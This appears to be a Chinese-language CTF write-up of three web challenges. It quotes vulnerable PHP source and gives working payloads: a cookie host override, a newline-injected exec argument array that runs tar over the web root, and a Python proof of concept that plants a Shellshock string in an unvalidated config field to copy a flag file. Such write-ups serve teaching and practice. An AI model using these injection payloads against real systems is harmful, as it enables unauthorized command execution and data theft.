题目不是太有趣,基本都是从hincon那里扒来的,正好整理完了,就发出来吧
where is my cat
没什么好说的,很有ichunqiu风格的一题
进去发现https签发机构不合法,点开发现颁证机关找到一个域名
到这里本以为是抄hitcon的,然后一通操作发现并不是…
然后发现cookie里有个host=0
把host改成那个域名,getflag
写一写 看一看
题目是原题抄
http://www.2cto.com/article/201510/446796.html
但是因为没有运维,所以服务器日常爆炸
进来发现可以编辑文件,然后找到exec.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php highlight_file(__FILE__);
$dir = 'tmp/'; if(!file_exists($dir)) mkdir($dir); chdir($dir); if(!isset($_GET['shell'])){ phpinfo(); exit(); } $shell = $_GET['shell']; for ( $i=0; $i<count($shell); $i++ ){ if ( !preg_match('/^\w+$/', $shell[$i]) ) exit(); } session_start(); $path = $_SESSION['path']; $shell = str_replace('path','/'.$path,implode(" ",$shell)); exec("/bin/hence " . $shell); ?>
|
前面都很好绕过,由于使用implode解参数,所以可以传入数组,但是输入只能输入字符很难受
先尝试wget+数字请求外网,貌似失败了,请求不到
然后是通过前台的编辑写文件内容,然后php+path执行,但是,做题的时候,编辑文件的接口炸了
最后想了一个办法,用tar压缩整个web目录
payload
1
| http://106.75.34.78:2081/exec.php?shell[]=a%0A&shell[]=tar&shell[]=cvf&shell[]=ddog&shell[]=pathvarpathwwwpathhtml
|
下载下来grep找到flag
mail
打开http://106.75.106.156/web.tar.gz获取源码
发现核心问题是sendmail,但是没有可以利用的点
找到一篇文章
https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html
发现配合bash破壳漏洞可以执行任意命令
http://www.freebuf.com/articles/system/50065.html
option里有这样一段设置
去追寻这个变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| function saveConfig($config){ global $conn; foreach ($config as $key => $value) { $key = addslashes_deep($key); $strsql="select db_value from config where db_name='$key' limit 1"; $result=mysql_query($strsql,$conn); $row = mysql_fetch_array($result); if(empty($row)) { $strsql="insert into config(db_name,db_value) values('$key','$value')"; $result=mysql_query($strsql,$conn); }else{ $strsql="update config set db_value='$value' where db_name='$key'"; $result=mysql_query($strsql,$conn); } } }
function getConfig($key){ global $conn; $strsql="select db_value from config where db_name='$key' limit 1"; $result=mysql_query($strsql,$conn); $row = mysql_fetch_array($result); if(!empty($row)) { return $row['db_value']; } return ""; }
|
配合option里的代码
1 2 3 4 5 6 7 8
| if($_GET['action']== 'save') { $config = $_POST['config']; saveConfig($config); die("<script>alert('保存成功!');history.go(-1);</script>"); }
|
我们发现修改里虽然没有timezone,但是并没有做任何校验,那我们直接post就可以修改了
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import requests
def f(): url='http://106.75.106.156/options.php?action=save' payload={ "config[timezone]":'''() { x; }; cat flag.php > /var/www/html/upload/1.txt''', "config[root_path]":"/var/www/html", "config[send_mail]":"xxx@mail.co", } cookies={ "PHPSESSID":"7lm7gsvf2l54jvu1vejt2skvj5", } res=requests.post(url,cookies=cookies,data=payload) print res.content
f()
|